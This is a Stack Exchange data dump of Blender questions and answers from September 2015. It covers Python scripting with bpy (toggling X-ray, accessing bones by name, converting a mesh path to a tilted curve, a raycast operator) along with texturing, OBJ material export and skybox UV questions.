  <row Id="38215" PostTypeId="2" ParentId="38212" CreationDate="2015-09-08T07:11:00.107" Score="0" Body="&lt;p&gt;Close with Object.  Without getting too technical you will not find a data_path containing capitals.&#xA;Any one of &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.ops.wm.context_toggle(data_path=&quot;object.show_x_ray&quot;)&#xA;bpy.ops.wm.context_toggle(data_path=&quot;active_object.show_x_ray&quot;)&#xA;bpy.ops.wm.context_toggle(data_path=&quot;scene.objects.active.show_x_ray&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The python console C is a shortcut for bpy.context, and [ctrl-space] is autocomplete.  With the armature selected, typing C.ob[ctrl-space] completes to C.object.  Add a . and  again gives you the list of properties. &lt;/p&gt;&#xA;" OwnerUserId="15543" LastEditorUserId="15543" LastEditDate="2015-09-08T07:22:11.753" LastActivityDate="2015-09-08T07:22:11.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38216" PostTypeId="1" AcceptedAnswerId="52028" CreationDate="2015-09-08T07:30:28.767" Score="4" ViewCount="9213" Body="&lt;p&gt;I am having a master armature which has multiple bones. Now I want to apply rotation to a particular bone. Now, I can loop through all the bones in the armature and check for the bone with the expected name and then process it. But is there a way to select/get the bone object directly using it's name without looping through all the bones?&lt;/p&gt;&#xA;" OwnerUserId="16257" LastActivityDate="2016-05-05T14:58:03.563" Title="How to get/select a bone by it's name in python?" Tags="&lt;python&gt;&lt;scripting&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38217" PostTypeId="2" ParentId="38212" CreationDate="2015-09-08T07:45:56.617" Score="3" Body="&lt;p&gt;Set your custom keyboard shortcut like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pxLZ0.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pxLZ0.png&quot; alt=&quot;Custom keyboard shortcut for toggling X-ray display&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Key points&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;When setting toggle shortcuts use &lt;code&gt;wm.context_toggle&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;When it pertains to the active object use &lt;code&gt;active_object.&lt;/code&gt; followed by the last part of your context attribute name, which in this case is &lt;code&gt;show_x_ray&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;If you add this to the list under the &lt;strong&gt;Object Mode&lt;/strong&gt; section the shortcut will only trigger X-ray display while you are in Object Mode, which frees up your keyboard shortcut to be used for something else in Edit Mode, etc. If you add it under &lt;strong&gt;3D View (Global)&lt;/strong&gt; the keyboard shortcut will trigger it in &lt;em&gt;all&lt;/em&gt; 3D View modes.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-09-08T10:22:16.767" LastActivityDate="2015-09-08T10:22:16.767" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38218" PostTypeId="2" ParentId="38216" CreationDate="2015-09-08T07:59:34.763" Score="3" Body="&lt;p&gt;Most collections in blender that you can iterate, where the items have a name property, can be accessed &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;item = collection[&quot;name&quot;]&#xA;jaw_bone = obj.pose.bones[&quot;jaw&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can also use get, to avoid an error if an item of name doesn't exist&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jaw_bone = obj.pose.bones.get(&quot;jaw&quot;)&#xA;if jaw_bone is not None:&#xA;    print(&quot;Jaw bone exists&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15543" LastActivityDate="2015-09-08T07:59:34.763" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="38220" PostTypeId="1" CreationDate="2015-09-08T09:17:56.737" Score="1" ViewCount="7423" Body="&lt;p&gt;I'm both new to this website and Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is the painted on texture won't show when rendered as an image or animation. I have saved the texture and packed all of the files together but it still won't work. Is it something to do with the mapping? Please help. Blend file included&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(texture included separately just in case)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks &#xA;&lt;a href=&quot;https://i.stack.imgur.com/XP7fX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XP7fX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/481/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=481&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="17985" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-10-09T03:08:27.470" Title="Why doesn't the paint-on texture show when rendered (packed and saved texture)?" Tags="&lt;rendering&gt;&lt;texturing&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38221" PostTypeId="2" ParentId="31023" CreationDate="2015-09-08T09:18:51.610" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://www.blender.org/api/blender_python_api_2_61_0/bpy.app.handlers.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;By default handlers are freed when loading new files, in some cases you may wan’t the handler stay running across multiple files (when the handler is part of an addon for example).&lt;/p&gt;&#xA;&lt;p&gt;For this the bpy.app.handlers.persistent decorator needs to be used.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.app.handlers import persistent&#xA;&#xA;@persistent&#xA;def load_handler(dummy):&#xA;    print(&amp;quot;Load Handler:&amp;quot;, bpy.data.filepath)&#xA;&#xA;bpy.app.handlers.load_post.append(load_handler)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7668" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2016-02-05T17:04:22.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38223" PostTypeId="2" ParentId="38016" CreationDate="2015-09-08T10:41:55.693" Score="1" Body="&lt;p&gt;Sometimes, you need to use &lt;code&gt;scene.update()&lt;/code&gt; once you've modified some properties (location, rotation) of the objects. When the scene is updated, you can use the new values.&#xA;You forgot the parentheses after the function call :)&lt;/p&gt;&#xA;" OwnerUserId="15363" LastActivityDate="2015-09-08T10:41:55.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38224" PostTypeId="2" ParentId="38161" CreationDate="2015-09-08T11:32:28.150" Score="1" Body="&lt;p&gt;I've managed to write a quick and dirty python script  that works &lt;strong&gt;for my specific case&lt;/strong&gt; with almost no python knowledge or knowledge about Blender's API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Therefore I'm sure it could be optimized for faster execution or more generalised and also the calculated tilt is only correct for paths where the tilting is parallel to the xy-plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the latter could be quite easily fixed with some more simple math that takes the pitch of the path into account but this is not required in my case and therefore I did not make my head around it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;&#xA;def vMid( obj, edge ):&#xA;    vRes = obj.vertices[edge.vertices[0]].co+obj.vertices[edge.vertices[1]].co;&#xA;    vRes *= 0.5;&#xA;    return vRes;&#xA;&#xA;def vTilt( obj, edge ):&#xA;    #order might have to be changed or automatically detected for certain meshes&#xA;    v1 = obj.vertices[edge.vertices[1]].co&#xA;    v2 = obj.vertices[edge.vertices[0]].co&#xA;&#xA;    #only correct for tilting in xy-plane&#xA;    z = v1.z - v2.z&#xA;    l = math.sqrt( (v1.x - v2.x)**2 + (v1.y - v2.y)**2 )&#xA;    return math.atan(z/l)&#xA;&#xA;def distance( v1, v2 ):&#xA;    vret = v1 - v2&#xA;    return vret.length&#xA;&#xA;def addCoords( edge, edges, usedEdges, outputs ):&#xA;    curPos = vMid(me, edge)&#xA;    curTilt = vTilt(me, edge)&#xA;    output = curPos,curTilt&#xA;    outputs.append(output)&#xA;    usedEdges.append(edge)&#xA;    dist = 9999.9&#xA;    nextEdge = edge;&#xA;    for next in edges:&#xA;        #I'm sure this could be optimized somehow&#xA;        if next in usedEdges:&#xA;            continue&#xA;        nextPos = vMid(me, next)&#xA;        newDist = distance(nextPos, curPos)&#xA;        if newDist &amp;lt; dist:&#xA;            nextEdge = next&#xA;            dist = newDist&#xA;    if nextEdge != edge:&#xA;        addCoords( nextEdge, edges, usedEdges, outputs )&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type != 'MESH':&#xA;    raise TypeError(&quot;Active object is not a Mesh&quot;)&#xA;&#xA;ob.update_from_editmode()&#xA;&#xA;me = ob.data&#xA;usedEdges=[]    &#xA;outputs=[]&#xA;&#xA;addCoords( me.edges[0], me.edges, usedEdges, outputs)&#xA;&#xA;# create the Curve Datablock&#xA;curveData = bpy.data.curves.new(ob.name+'_curve', type='CURVE')&#xA;curveData.dimensions = '3D'&#xA;curveData.resolution_u = 2&#xA;curveData.twist_mode = 'Z_UP'&#xA;&#xA;# map coords to spline&#xA;polyline = curveData.splines.new('POLY')&#xA;polyline.points.add(len(outputs)-1)&#xA;polyline.use_cyclic_u = 1&#xA;for i, output in enumerate(outputs):&#xA;    coord,tilt = output&#xA;    x,y,z = coord&#xA;    polyline.points[i].co = (x, y, z, 1)&#xA;    polyline.points[i].tilt = tilt&#xA;&#xA;# create Object&#xA;curveOB = bpy.data.objects.new(ob.name+'_Curve', curveData)&#xA;&#xA;# attach to scene and validate context&#xA;scn = bpy.context.scene&#xA;scn.objects.link(curveOB)&#xA;scn.objects.active = curveOB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;I've changed the script&lt;/strong&gt; it does now uses the polygons instead of the edges to get the tilt information and therefore it works also with sections that are tilted and not parallel to the xy plane:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;&#xA;#calculates tilt according to face's normal and path direction from this face&#xA;def fTilt( face, v ):&#xA;    #normal vector of path&#xA;    n = mathutils.Vector((-v.z*v.x / (v.x**2 + v.y**2), -v.z*v.y / (v.x**2 + v.y**2), 1))&#xA;    t = face.normal&#xA;    val = (n.x*t.x+n.y*t.y+n.z*t.z)/t.length/n.length&#xA;    if val&amp;gt;1:&#xA;        val = 1&#xA;    if val&amp;lt;-1:&#xA;        val = -1&#xA;    return math.acos(val)&#xA;&#xA;#distance between v1 v2&#xA;def distance( v1, v2 ):&#xA;    vret = v1 - v2&#xA;    return vret.length&#xA;&#xA;#add coordinates and tilt informations to outputs (=coordinates,tilt)&#xA;def addCoords( face, faces, usedFaces, outputs ):&#xA;    curPos = face.center&#xA;    usedFaces.append(face)&#xA;    dist = 9999.9&#xA;    nextFace = face&#xA;    nextPos = curPos&#xA;    for next in faces:&#xA;        #could maybe optimized for faster execution&#xA;        if next in usedFaces:&#xA;            continue&#xA;        newPos = next.center&#xA;        newDist = distance(newPos, curPos)&#xA;        if newDist &amp;lt; dist:&#xA;            nextFace = next&#xA;            nextPos = newPos&#xA;            dist = newDist&#xA;    if nextFace != face:&#xA;        tilt = 0&#xA;        if(nextPos != curPos):&#xA;            tilt = fTilt(face, nextPos - curPos)&#xA;        output = curPos,tilt&#xA;        outputs.append(output)&#xA;        addCoords( nextFace, faces, usedFaces, outputs )&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type != 'MESH':&#xA;    raise TypeError(&quot;Active object is not a Mesh&quot;)&#xA;&#xA;ob.update_from_editmode()&#xA;&#xA;me = ob.data&#xA;usedFaces=[]  &#xA;outputs=[]&#xA;&#xA;addCoords(me.polygons[0], me.polygons, usedFaces, outputs)  &#xA;&#xA;# create the Curve Datablock&#xA;curveData = bpy.data.curves.new(ob.name+'_curve', type='CURVE')&#xA;curveData.dimensions = '3D'&#xA;curveData.resolution_u = 2&#xA;curveData.twist_mode = 'Z_UP'&#xA;&#xA;# map coords to spline&#xA;polyline = curveData.splines.new('POLY')&#xA;polyline.points.add(len(outputs)-1)&#xA;polyline.use_cyclic_u = 1&#xA;for i, output in enumerate(outputs):&#xA;    coord,tilt = output&#xA;    x,y,z = coord&#xA;    polyline.points[i].co = (x, y, z, 1)&#xA;    polyline.points[i].tilt = tilt&#xA;&#xA;# create Object&#xA;curveOB = bpy.data.objects.new(ob.name+'_Curve', curveData)&#xA;&#xA;# attach to scene and validate context&#xA;scn = bpy.context.scene&#xA;scn.objects.link(curveOB)&#xA;scn.objects.active = curveOB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;One more update:&lt;/strong&gt; This fixes a important bug that only applied the tilt correctly into one tilt direction&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;import mathutils&#xA;&#xA;#calculates tilt according to face's normal and path direction from this face&#xA;def fTilt( face, v ):&#xA;    #normal vector of path&#xA;    n = mathutils.Vector((-v.z*v.x / (v.x**2 + v.y**2), -v.z*v.y / (v.x**2 + v.y**2), 1))&#xA;    nf = face.normal&#xA;    t = mathutils.Vector((&#xA;        v.y*n.z - v.z*n.y,&#xA;        v.z*n.x - v.x*n.z,&#xA;        v.x*n.y - v.y*n.x&#xA;    ))&#xA;    val = (nf.x*t.x+nf.y*t.y+nf.z*t.z)/nf.length/t.length&#xA;    if val&amp;gt;1:&#xA;        val = 1&#xA;    if val&amp;lt;-1:&#xA;        val = -1&#xA;    return math.asin(val)&#xA;&#xA;#distance between v1 v2&#xA;def distance( v1, v2 ):&#xA;    vret = v1 - v2&#xA;    return vret.length&#xA;&#xA;#add coordinates and tilt informations to outputs (=coordinates,tilt)&#xA;def addCoords( face, faces, usedFaces, outputs ):&#xA;    curPos = face.center&#xA;    usedFaces.append(face)&#xA;    dist = 9999.9&#xA;    nextFace = face&#xA;    nextPos = curPos&#xA;    for next in faces:&#xA;        #could maybe optimized for faster execution&#xA;        if next in usedFaces:&#xA;            continue&#xA;        newPos = next.center&#xA;        newDist = distance(newPos, curPos)&#xA;        if newDist &amp;lt; dist:&#xA;            nextFace = next&#xA;            nextPos = newPos&#xA;            dist = newDist&#xA;    if nextFace != face:&#xA;        tilt = 0&#xA;        if(nextPos != curPos):&#xA;            tilt = fTilt(face, nextPos - curPos)&#xA;        output = curPos,tilt&#xA;        outputs.append(output)&#xA;        addCoords( nextFace, faces, usedFaces, outputs )&#xA;&#xA;ob = bpy.context.object&#xA;&#xA;if ob.type != 'MESH':&#xA;    raise TypeError(&quot;Active object is not a Mesh&quot;)&#xA;&#xA;ob.update_from_editmode()&#xA;&#xA;me = ob.data&#xA;usedFaces=[]  &#xA;outputs=[]&#xA;&#xA;addCoords(me.polygons[0], me.polygons, usedFaces, outputs)  &#xA;&#xA;# create the Curve Datablock&#xA;curveData = bpy.data.curves.new(ob.name+'_curve', type='CURVE')&#xA;curveData.dimensions = '3D'&#xA;curveData.resolution_u = 2&#xA;curveData.twist_mode = 'Z_UP'&#xA;&#xA;# map coords to spline&#xA;polyline = curveData.splines.new('POLY')&#xA;polyline.points.add(len(outputs)-1)&#xA;polyline.use_cyclic_u = 1&#xA;for i, output in enumerate(outputs):&#xA;    coord,tilt = output&#xA;    x,y,z = coord&#xA;    polyline.points[i].co = (x, y, z, 1)&#xA;    polyline.points[i].tilt = tilt&#xA;&#xA;# create Object&#xA;curveOB = bpy.data.objects.new(ob.name+'_Curve', curveData)&#xA;&#xA;# attach to scene and validate context&#xA;scn = bpy.context.scene&#xA;scn.objects.link(curveOB)&#xA;scn.objects.active = curveOB&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A test file:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/485/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=485&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8255" LastEditorUserId="-1" LastEditDate="2017-03-14T09:23:48.777" LastActivityDate="2015-09-13T13:32:54.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38225" PostTypeId="1" CreationDate="2015-09-08T11:32:50.947" Score="1" ViewCount="880" Body="&lt;p&gt;I have a problem. If I export the model with blender materials in to .obj format, and then import it back,all the materials persist, but are much darker then the original exported ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(left - original, right - import)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/r4n7F.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/r4n7F.png&quot; alt=&quot;left - original, right - import&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The thing is that there is a transparency property added, and all specular changed to black, as well as base colour darkened a bit. Also mirror property is set to 100%, and mirror colour to black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong with this? Any way to fix it?&lt;/p&gt;&#xA;" OwnerUserId="17987" LastActivityDate="2015-10-08T12:42:09.633" Title="Exporting / importing .obj messes up the materials" Tags="&lt;materials&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="38226" PostTypeId="2" ParentId="38225" CreationDate="2015-09-08T12:26:58.493" Score="1" Body="&lt;p&gt;You cannot avoid some changes, simply because .OBJ (.MTL actually) shading model is not exactly the same as BI one (not talking about nodes here, if it’s relatively easy to import .mtl as a basic nodal shader, the reverse operation is practically impossible and hence not supported).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, several issues here were fixed in past months (regarding mutual influences between world and material especially), so suggest you try with the latest build from &lt;a href=&quot;https://builder.blender.org/download&quot; rel=&quot;nofollow&quot;&gt;our buildbot&lt;/a&gt;, if not yet done. :)&lt;/p&gt;&#xA;" OwnerUserId="2607" LastActivityDate="2015-09-08T12:26:58.493" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38227" PostTypeId="2" ParentId="38199" CreationDate="2015-09-08T12:46:24.400" Score="1" Body="&lt;p&gt;You UV unwrap and texture your mesh with a glossy map. The parts you paint white will be glossy, and the parts left black will be diffuse. Use that glossy map to factor a Mix Shader that has a Diffuse Shader and a Glossy Shader connected to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/eSgxE.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/eSgxE.png&quot; alt=&quot;Glossy map setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your Glossy and Diffuse shaders are plugged in the opposite way then it will be inverted, with black values being glossy and white diffuse, so pay attention to how you've set up your mix node. Any areas that are grey will be neither fully glossy nor fully diffuse, but something in between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this concept can be applied to the factoring of any mix, whether it be glossy/diffuse, red/blue, bumpy/smooth, transparent/opaque... the possibilities are infinite.&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-09-08T12:53:07.430" LastActivityDate="2015-09-08T12:53:07.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38228" PostTypeId="1" CreationDate="2015-09-08T13:02:20.697" Score="1" ViewCount="543" Body="&lt;p&gt;I'm trying to make a Skybox in Blender with a cube and multiple UV maps. My workflow till now: Added a cube -&gt; added 6 Uv maps under Data panel -&gt; new Material -&gt; new Texture. I don't understand how to get UV information on each face of the cube to the specific UV Map. I tried to add another UV Map then selected the face and Unwrapped it, but that doesn't work. How do I do this? And also, do I need 6 Materials or is 1 Material with 6 different textures also possible? &amp;lt;3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I want to import everything into the Unreal Engine, and I need 2048 Resolution on each face.&lt;/p&gt;&#xA;" OwnerUserId="15593" LastEditorUserId="15140" LastEditDate="2015-09-08T18:09:41.730" LastActivityDate="2015-09-08T18:09:41.730" Title="Export Skybox for Games" Tags="&lt;uv&gt;&lt;export&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="38229" PostTypeId="2" ParentId="38228" CreationDate="2015-09-08T13:20:09.073" Score="3" Body="&lt;p&gt;Each &lt;a href=&quot;https://www.blender.org/manual/render/blender_render/textures/mapping/uv/unwrapping.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;UVmap&lt;/a&gt; always contains the UV coordinates of &lt;strong&gt;all&lt;/strong&gt; the object's faces.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the &lt;strong&gt;material is the same for each face&lt;/strong&gt;, I would suggest to make &lt;strong&gt;1 material with 1 big texture&lt;/strong&gt; that contains all 6 individual textures. Each face's UV island should cover to only a portion of the UV layout as it's done in this related answer &lt;a href=&quot;https://blender.stackexchange.com/a/28349/15140&quot;&gt;https://blender.stackexchange.com/a/28349/15140&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LTnaC.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LTnaC.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is just one of the possible UV layouts. Sometimes can be useful to have a 3x2 matrix of images and using a rectangular texture... it dependes on your needs.&lt;/p&gt;&#xA;" OwnerUserId="15140" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:45.513" LastActivityDate="2015-09-08T13:27:17.430" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38230" PostTypeId="1" AcceptedAnswerId="38232" CreationDate="2015-09-08T13:43:40.710" Score="2" ViewCount="313" Body="&lt;p&gt;Blender is used in our business, in our scenes, there are a lot of objects.&#xA;We need to know the name, material...of the objects ... quickly. The only way is to select the object and then read his name and material. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This default operation of Blender is very painful for us because the fact of selecting each object wastes time. I thought to use the raycast to return the information (name, material ...) objects under the mouse and it works fine (I used &lt;em&gt;Templates &gt; Python &gt; Operator Modal View3D Raycast&lt;/em&gt; script).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the modal operation is running, it is not to other operations at the same time. &lt;strong&gt;I am looking for a way to stop and restart the raycast automatically.&lt;/strong&gt; &lt;em&gt;E.g. when the mouse cursor leaves the viewport raycast is stopped and restart when you come back in the viewport.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="15517" LastEditorUserId="3710" LastEditDate="2015-09-09T10:57:08.390" LastActivityDate="2015-09-09T10:57:08.390" Title="Start / stop automatically raycast" Tags="&lt;python&gt;&lt;objects&gt;&lt;workflow&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38231" PostTypeId="2" ParentId="21576" CreationDate="2015-09-08T13:50:49.547" Score="6" Body="&lt;p&gt;I just found the solution for it: It is greyed out when it was baked. Go to the &quot;cache&quot; section in the particle system and click on &quot;free bake&quot; to be able to edit the greyed out settings again.&lt;/p&gt;&#xA;" OwnerUserId="17989" LastActivityDate="2015-09-08T13:50:49.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="38232" PostTypeId="2" ParentId="38230" CreationDate="2015-09-08T14:28:56.753" Score="3" Body="&lt;p&gt;You could modify the example operator a bit to make it work in a non-modal way. The operator can be run after &lt;code&gt;MOUSEMOVE&lt;/code&gt; events instead, using a keymap entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a quick example, modifying the operator (the &lt;code&gt;main&lt;/code&gt; function is unchanged). It requires pressing the &lt;code&gt;ctrl&lt;/code&gt; key to avoid running the operator all the time (since ray casts can be quite expensive on heavy scenes). This can be any suitable combination of events. You may also want to put this in a different keymap, e.g. for an addon.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class ViewOperatorRayCast(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Modal object selection with a ray cast&quot;&quot;&quot;&#xA;    bl_idname = &quot;view3d.modal_operator_raycast&quot;&#xA;    bl_label = &quot;RayCast View Operator&quot;&#xA;&#xA;    @classmethod&#xA;    def poll(cls, context):&#xA;        return context.space_data.type == 'VIEW_3D'&#xA;&#xA;    def invoke(self, context, event):&#xA;        main(context, event)&#xA;        return {'PASS_THROUGH'}&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ViewOperatorRayCast)&#xA;&#xA;    wm = bpy.context.window_manager&#xA;    kc = wm.keyconfigs['Blender User']&#xA;    km = kc.keymaps['3D View']&#xA;    kmi = km.keymap_items.new(ViewOperatorRayCast.bl_idname, 'MOUSEMOVE', 'ANY', ctrl=True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="436" LastActivityDate="2015-09-08T14:28:56.753" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="38233" PostTypeId="1" AcceptedAnswerId="38239" CreationDate="2015-09-08T15:28:08.523" Score="1" ViewCount="1670" Body="&lt;p&gt;I've got a tube, created from a bezier curve, similar to &lt;a href=&quot;https://blender.stackexchange.com/questions/8683/make-a-3d-tube-with-a-b%C3%A9zier-curve&quot;&gt;this&lt;/a&gt; example. I'd like to be able to move an object along this curve, as if it were a spline, in Unity. From Unity, I need access to each point in world space, so that I can adjust the object that moves along it programmatically (Animation will not work). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a nice way to turn the various points along that curve into objects that I can then get the position of inside Unity, or do I have to manually add objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any hlep!&lt;/p&gt;&#xA;" OwnerUserId="17990" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.497" LastActivityDate="2015-09-10T21:03:23.123" Title="Access points along a bezier curve" Tags="&lt;bezier-curves&gt;&lt;unity&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38234" PostTypeId="1" AcceptedAnswerId="38242" CreationDate="2015-09-08T15:50:50.997" Score="2" ViewCount="5520" Body="&lt;p&gt;I'm trying to render my object's normals with colors that are similar to those you get when baking normals (or the matcap normals material), i.e. the color distribution that characterizes normal maps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for what I'm looking for:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/9RVeP.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9RVeP.jpg&quot; alt=&quot;Normal shader&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried using the normal pass in cycles or BI, and tried using the geometry --&gt; normal input node in cycles or BI, but the closest I could get is this:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/JVqTG.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/JVqTG.jpg&quot; alt=&quot;My attempt&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried to play with the colors via a Hue/saturation node, but couldn't really reconstruct what I'm looking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Would appreciate ideas for reproducing this kind of a shader.&lt;/p&gt;&#xA;" OwnerUserId="15861" LastEditorUserId="241" LastEditDate="2015-09-08T16:00:36.333" LastActivityDate="2019-01-10T15:30:23.997" Title="Cycles normal shader with colors similar to baked normals" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;shaders&gt;&lt;normals&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="38235" PostTypeId="1" AcceptedAnswerId="38243" CreationDate="2015-09-08T16:32:10.590" Score="3" ViewCount="7973" Body="&lt;p&gt;Many sources describe holding the Control key down while rotating to control rotation by 5 degrees increments. I cannot get this keyboard shortcut to work in Blender v2.75. The increment button on the snapping menu does work, but the keyboard shortcut does not seem to work for me.&lt;/p&gt;&#xA;" OwnerUserId="16506" LastEditorUserId="599" LastEditDate="2015-09-10T03:20:22.840" LastActivityDate="2019-07-03T03:50:33.453" Title="Has the Control Key + Rotation snapping increment been changed or dropped?" Tags="&lt;modeling&gt;&lt;snapping&gt;" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
